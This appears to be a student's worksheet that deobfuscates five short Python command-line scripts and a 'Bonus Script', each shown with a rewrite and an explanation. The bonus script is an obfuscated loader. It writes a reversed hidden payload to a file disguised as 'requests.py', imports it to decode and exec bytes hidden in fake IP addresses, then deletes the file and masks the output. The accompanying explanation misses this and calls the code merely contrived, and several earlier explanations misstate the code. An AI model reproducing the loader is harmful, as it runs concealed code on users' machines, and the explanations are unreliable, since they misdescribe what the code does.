| **Script 1- Challenge** | **Script 1- My Code** |
| --- | --- |

| F=float  A=print  import sys as B  C=B.argv[1:]  if len(C)<2:A('I require 2 numbers as input');B.exit()  elif len(C)>2:A('Stop being greedy!');B.exit()  try:D=F(C[0]);E=F(C[1])  except ValueError:A('Both numbers must be decimals');B.exit()  if D==0 and E==0:A('zero')  else:sum=abs(D)+abs(E);A(sum)  (Outcome in PyCharm: “Stop being greedy) | import sys  def main():  try:  num1 = float(sys.argv[1])  num2 = float(sys.argv[2])  except (ValueError, IndexError):  print('Please provide two decimal numbers as input')  sys.exit()  if num1 == 0 and num2 == 0:  print('zero')  else:  result = abs(num1) + abs(num2)  print(result)  if \_\_name\_\_ == "\_\_main\_\_":  args = sys.argv[1:]  if len(args) != 2:  print('Incorrect number of arguments. Please provide exactly 2 numbers.')  sys.exit()  main() |
| --- | --- |

**Explanation- Script 1**

This Python code seems to perform a simple operation on two numbers passed as command-line arguments. Let's break it down step by step:

1. The variable F is a float, it prints the variable A, and imports the sys module as B.
2. It collects command-line arguments into the list C.
3. Check if there are exactly two arguments. If not, it prints an appropriate message and exits the program.
4. Tries to convert the input arguments to floating-point numbers (float). If the conversion fails (due to non-numeric inputs), it prints an error message and exits.
5. If both numbers are not zero, it calculates the absolute sum of the two numbers and prints the result. If both numbers are zero, it prints 'zero'.
6. Performs a simple addition of the absolute values of two numbers (D and E) and printing appropriate messages.

| **Script 2: Challenge** | **Script 2: My code** |
| --- | --- |
| A=print  import sys as B  D=B.argv[1:]  if len(D)==0:A('Requires an integer as input');B.exit()  elif len(D)>1:A('Stop being greedy!');B.exit()  try:C=int(D[0])  except ValueError:A('Unable to parse number');B.exit()  if C==0:A('zero')  elif C%2:A(C-1)  else:A(C+2) | import sys  def main():  args = sys.argv[1:]    if len(args) == 0:  print('Requires an integer as input')  sys.exit()  elif len(args) > 1:  print('Stop being greedy!')  sys.exit()    try:  num = int(args[0])  except ValueError:  print('Unable to parse number')  sys.exit()    if num == 0:  print('zero')  elif num % 2:  print(num - 1)  else:  print(num + 2)  if \_\_name\_\_ == "\_\_main\_\_":  main() |

**Explanation - Script 2**

This Python code appears to take a single integer input from the command line and performs some conditional checks on it (checks if it’s valid and performs different operations based on whether the number is zero, odd or even). Let's break it down step by step:

1. It prints the variable A, and imports the sys module as B.
2. It collects command-line arguments into the list D
3. Check if there is exactly one argument. If there are zero or more than one, it prints an appropriate message and exits the program.
4. Tries to convert the input argument to an integer (int). If the conversion fails (due to non-integer inputs), it prints an error message and exits.

* If the input number is zero, it prints 'zero'. If the number is odd (C % 2 returns a non-zero value), it prints the number minus one (C - 1). If the number is even, it prints the number plus two (C + 2).

| **Script 3- Challenge** | **Script 3- My code** |
| --- | --- |
| B=print  import sys as C  E=C.argv[1:]  if len(E)==0:B('Requires an integer as input');C.exit()  elif len(E)>1:B('Stop being greedy');C.exit()  try:A=int(E[0])  except ValueError:B('Unable to parse integer');C.exit()  if A==0:B('zero')  elif A>0:B(A\*A)  elif A<0:  F,D=0,1  for G in range(-A):sum=F+D;F=D;D=sum  B(D) | import sys  def main():  args = sys.argv[1:]    if len(args) == 0:  print('Requires an integer as input')  sys.exit()  elif len(args) > 1:  print('Stop being greedy')  sys.exit()    try:  num = int(args[0])  except ValueError:  print('Unable to parse integer')  sys.exit()    if num == 0:  print('zero')  elif num > 0:  print(num \* num)  elif num < 0:  a, b = 0, 1  for i in range(-num):  a, b = b, a + b  print(b)  if \_\_name\_\_ == "\_\_main\_\_":  main() |

**Explanation-Script 3:** This code performs various operations based on the input integer provided via the command line. Here's what it does:

* 1. It prints the valuable B and imports the sys module as C.
* 2. It collects command-line arguments into the list E.
* 3. Check if there is exactly one argument. If there are zero or more than one, it prints an appropriate message and exits the program.
* 4. Tries to convert the input argument to an integer (int). If the conversion fails (due to non-integer inputs), it prints an error message and exits.
  + If the input number is zero, it prints 'zero'.
  + If the number is positive, it prints the square of the number.
  + If the number is negative, it performs a Fibonacci-like sequence calculation to find the absolute value of the input's corresponding Fibonacci number and prints it.

The code computes the square of a positive number and calculates a Fibonacci-like sequence (though not a true Fibonacci sequence) for negative numbers.

| **Script 4- Challenge** | **Script 4- My code** |
| --- | --- |
| F=print  E=' '  D=len  import sys  B=sys.argv[1:]  if D(B)==0:F('I require a string as input');sys.exit()  input=E.join(B)  input=B[0].lower()  C=[]  for A in input.split(E):  if D(A)<1:continue  elif D(A)==1:C.append(A.lower());continue  G=A[0].upper();H=A[1:];C.append(G+H)  F(E.join(C)) | def main():  import sys  def print\_output(output):  print(output)  def capitalize\_words(input\_str):  if not input\_str:  return ""    words = input\_str.split()  capitalized\_words = [word.capitalize() for word in words]  return " ".join(capitalized\_words)  args = sys.argv[1:]    if len(args) == 0:  print\_output('I require a string as input')  sys.exit()  input\_str = " ".join(args)  input\_str = input\_str.lower()  output = capitalize\_words(input\_str)  print\_output(output)  if \_\_name\_\_ == "\_\_main\_\_":  main() |

**Explanation - Script 4:** This Python code seems to manipulate strings provided as command-line arguments.

* 1. It assigns print to F, a single space ' ' to E, len to D, and imports the sys module.
* 2. It collects command-line arguments into the list B.
* 3. Check if there is at least one argument. If there are zero arguments, it prints an appropriate message and exits the program.
* String Manipulation:
  + Joins the command-line arguments into a single string input\_str.
  + Converts the first character of this string to lowercase.
* String Processing Loop:
  + Splits input\_str into words based on spaces.
  + Processes each word:
    - If the word's length is less than 1 (empty string), it continues to the next word.
    - If the word has a length of 1, it appends the lowercase version of the word to list C.
    - Otherwise, it capitalizes the first letter of the word, appends it to the rest of the word, and adds the modified word to list C.
* Final Output: Joins the modified words in list C with spaces and prints the result.

This code seems to take a string input from the command line, modify it by lowercasing the first character of the entire string and capitalizing the first letter of each word (excluding single-letter words), and then prints the modified string.

| **Script 5- Challenge** | **Script 5- My code** |
| --- | --- |
| =print  D=' '  import sys  E=sys.argv[1:]  if len(E)==0:H('I require a string as input');sys.exit()  input=D.join(E)  F=[]  B=True  for A in input.split(D):  if len(A)<1:B=False;continue  if B:A=A[::-1];B=True  C=''  for G in A:  if G.isalnum():C+=G  else:C+='-'  F.append(C)  H(D.join(F)) | def main():  def print\_output(output):  print(output)  import sys  args = sys.argv[1:]    if len(args) == 0:  print\_output('I require a string as input')  sys.exit()  input\_str = ' '.join(args)  words = input\_str.split(' ')  reversed\_flag = True  modified\_words = []  for word in words:  if len(word) < 1:  reversed\_flag = False  continue  if reversed\_flag:  word = word[::-1]  reversed\_flag = True    modified\_word = ''.join([char if char.isalnum() else '-' for char in word])  modified\_words.append(modified\_word)  output = ' '.join(modified\_words)  print\_output(output)  if \_\_name\_\_ == "\_\_main\_\_":  main() |

**Explanation - Script 5:** This Python code appears to manipulate strings provided as command-line arguments.

1. It assigns print to H, a single space ' ' to D, and imports the sys module.

2. It collects command-line arguments into the list E.

3. Check if there is at least one argument. If there are zero arguments, it prints an appropriate message and exits the program.

4. Joins the command-line arguments into a single string input\_str.

1. Splits input\_str into words based on spaces.
   * Processes each word:
     + If the word's length is less than 1 (empty string), it continues to the next word.
     + If B is True (initially True), it reverses the word. This happens every alternate word.
     + It creates a new string C where non-alphanumeric characters in the word are replaced with hyphens.
   * Appends the modified word to list F.

* Final Output: Joins the modified words in list F with spaces and prints the result.

This code seems to take a string input from the command line, modify it by reversing alternate words and replacing non-alphanumeric characters with hyphens, and then prints the modified string.

| **Bonus Script- Challenge** | **Bonus Script- My code** |
| --- | --- |
| r\_text = """  ))471,tsil\_pi(]2[snoitcnuf(]1[snoitcnuf  ]'39.196.971.549' ,'201.040.829.290' ,'676.994.004.575' ,'816.740.879.072' ,'087.313.779.917' ,'559.909.649.722' ,'845.985.464.068' ,'454.468.827.372' ,'536.943.588.512' ,'115.441.354.040' ,'781.027.469.966' ,'992.602.963.871' ,'816.948.538.187' ,'560.801.957.796' ,'180.129.299.392' ,'276.700.031.752' ,'560.833.500.654' ,'404.800.859.597' ,'915.768.903.489' ,'295.241.782.511' ,'652.971.387.269' ,'004.833.032.546' ,'323.017.674.360' ,'902.746.243.254' ,'098.010.387.900' ,'967.091.276.282' ,'715.823.829.248' ,'124.450.233.373' ,'025.458.904.795' ,'874.996.534.997' ,'114.098.359.358' ,'382.962.947.762' ,'481.955.957.717' ,'627.392.369.101' ,'424.655.011.544'[ = tsil\_pi  )snoitcnuf(elffuhs  )13(wen  ]cexe,1C0x,gnip,ekovni[ = snoitcnuf  "]404[" nruter  :)txet(teg fed  atad\_rts nruter  )mun,)denioj(tni(1C0x = atad\_rts  )"","."(ecalper.)tsil\_pi(nioj."" = denioj  :)mun,tsil\_pi(gnip fed  atad\_rts nruter  )"8-ftu"(edoced.atad\_etyb = atad\_rts  )'gib' ,mun(setyb\_ot.atad\_tni = atad\_etyb  :)mun,atad\_tni(1C0x fed  elffuhs tropmi modnar morf ;egnar = fiesle;xeger sa gnirts tropmi;wen sa dees tropmi modnar morf;ekovni sa eciohc tropmi modnar morf""";r\_name = "qywpe.rsttysueiuoqpelr"[::-2];mode = "w"  from inspect import getsourcefile;from os.path import abspath, dirname; import os; from sys import stdout as under; from os import remove as delta  exec\_file = abspath(getsourcefile(lambda:0));exec\_folder = dirname(exec\_file); r\_path = os.path.join(exec\_folder,r\_name)  def ex(a):under.write("None\n")  with open(r\_path,mode) as f:f.write(r\_text[::-1]);print = ex  import requests  delta(r\_path)  url = 'https://google.com'  responce = requests.get(url)  print(responce) | import os  import requests  from inspect import getsourcefile  from os.path import abspath, dirname  r\_text = """  ))471,tsil\_pi(]2[snoitcnuf(]1[snoitcnuf  ]'39.196.971.549' ,'201.040.829.290' ,'676.994.004.575' ,'816.740.879.072' ,'087.313.779.917' ,'559.909.649.722' ,'845.985.464.068' ,'454.468.827.372' ,'536.943.588.512' ,'115.441.354.040' ,'781.027.469.966' ,'992.602.963.871' ,'816.948.538.187' ,'560.801.957.796' ,'180.129.299.392' ,'276.700.031.752' ,'560.833.500.654' ,'404.800.859.597' ,'915.768.903.489' ,'295.241.782.511' ,'652.971.387.269' ,'004.833.032.546' ,'323.017.674.360' ,'902.746.243.254' ,'098.010.387.900' ,'967.091.276.282' ,'715.823.829.248' ,'124.450.233.373' ,'025.458.904.795' ,'874.996.534.997' ,'114.098.359.358' ,'382.962.947.762' ,'481.955.957.717' ,'627.392.369.101' ,'424.655.011.544'[ = tsil\_pi  )snoitcnuf(elffuhs  )13(wen  ]cexe,1C0x,gnip,ekovni[ = snoitcnuf  "]404[" nruter  :)txet(teg fed  atad\_rts nruter  )mun,)denioj(tni(1C0x = atad\_rts  )"","."(ecalper.)tsil\_pi(nioj."" = denioj  :)mun,tsil\_pi(gnip fed  atad\_rts nruter  )"8-ftu"(edoced.atad\_etyb = atad\_rts  )'gib' ,mun(setyb\_ot.atad\_tni = atad\_etyb  :)mun,atad\_tni(1C0x fed  elffuhs tropmi modnar morf ;egnar = fiesle;xeger sa gnirts tropmi;wen sa dees tropmi modnar morf;ekovni sa eciohc tropmi modnar morf""";r\_name = "qywpe.rsttysueiuoqpelr"[::-2];mode = "w"  exec\_file = abspath(getsourcefile(lambda: 0))  exec\_folder = dirname(exec\_file)  r\_path = os.path.join(exec\_folder, r\_name)  def ex(a):  under.write("None\n")  with open(r\_path, mode) as f:  f.write(r\_text[::-1])  print = ex  os.remove(r\_path)  url = 'https://google.com'  response = requests.get(url)  print(response) |

**Explanation - Bonus Script**

* String Manipulation:
  + The variable r\_text contains a multiline string with various patterns and characters.
* File Operations:
  + It retrieves the path of the currently executing file and constructs a file path (r\_path) within the same directory using the variables r\_name, exec\_folder, and os.path.join.
  + It defines a function ex(a) that writes "None" to the standard output (under.write("None\n")).
* File Writing:
  + It opens the file specified by r\_path in write mode (mode = "w"), reverses the content of the r\_text string, and writes the reversed content to the file.
* File Removal:
  + It removes the file created earlier using os.remove(r\_path).
* HTTP Request:
  + It sets url to '[https://google.com](https://google.com/)'.
  + It sends an HTTP GET request to the URL using requests.get(url), storing the response in the variable response.
  + Finally, it attempts to print the response object, but the print function has been reassigned to ex(a), which writes "None" to the standard output.

Overall, this code snippet seems to be a contrived example that performs operations like file writing and HTTP requests, but it also contains some unconventional or unnecessary elements, such as the function ex(a) that doesn't serve any apparent purpose in the context of the code provided. Additionally, the usage of under.write("None\n") seems to be a typo or incorrect usage, likely intended for sys.stdout.write("None\n") instead.